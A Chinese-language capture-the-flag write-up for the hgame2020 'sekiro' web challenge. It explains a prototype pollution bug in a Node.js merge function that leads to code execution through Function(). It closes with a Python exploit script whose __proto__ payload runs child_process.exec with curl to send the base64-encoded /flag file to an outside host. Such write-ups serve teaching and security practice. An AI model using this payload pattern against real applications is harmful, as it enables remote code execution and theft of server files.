hgame2020 sekiro writeup

题目给了源码,主要漏洞点在这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
var Game = new game();

router.get('/', function (req, res) {
res.render('index');
});

router.post('/action', function (req, res) {
if (!req.session.sekiro) {
res.end("Session required.")
}
if (!req.session.sekiro.alive) {
res.end("You dead.")
}
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.solution) {
req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution)
}
res.end("提交成功")
})

可以看到很明显的原型链污染,跟进Game.dealWithAttacks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
this.dealWithAttacks = function (sekiro, solution) {
if (sekiro.attackInfo.solution !== solution) {
sekiro.health -= sekiro.attackInfo.attack
if (sekiro.attackInfo.additionalEffect) {
var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro")
sekiro = fn(sekiro)
}
}
sekiro.posture = (sekiro.posture <= 500) ? sekiro.posture : 500
sekiro.health = (sekiro.health > 0) ? sekiro.health : 0
if (sekiro.posture == 500 || sekiro.health == 0) {
sekiro.alive = false
}
return sekiro
}

很明显,可以命令执行,只需要污染sekiro.attackInfo.additionalEffect,使其拼接到代码里就可以了,接下来看怎么进入if内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
this.attacks = [
{
"method": "连续砍击",
"attack": 1000,
"additionalEffect": "sekiro.posture+=100",
"solution": "连续格挡"
},
{
"method": "普通攻击",
"attack": 500,
"additionalEffect": "sekiro.posture+=50",
"solution": "格挡"
},
{
"method": "下段攻击",
"attack": 1000,
"solution": "跳跃踩头"
},
{
"method": "突刺攻击",
"attack": 1000,
"solution": "识破"
},
{
"method": "巴之雷",
"attack": 1000,
"solution": "雷反"
},
]

只要找有additionalEffect属性的时候进行原型链污染就好了,exp如下,多跑几次就有了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import json
baseurl = 'http://sekiro.hgame.babelfish.ink/'
header = {
'content-type': 'application/json'
}
data = {'solution':'123','__proto__':{"additionalEffect":"process.mainModule.require('child_process').exec('curl http://ip/`cat /flag|base64`')"}}
se = requests.Session()
#get /
re = se.get(baseurl)
#get /info
re = se.get(baseurl+'info')
#get /attack
re = se.get(baseurl+'attack')
#post /action
re = se.post(baseurl+'action',headers=header,data=json.dumps(data)).text
print(re)
0%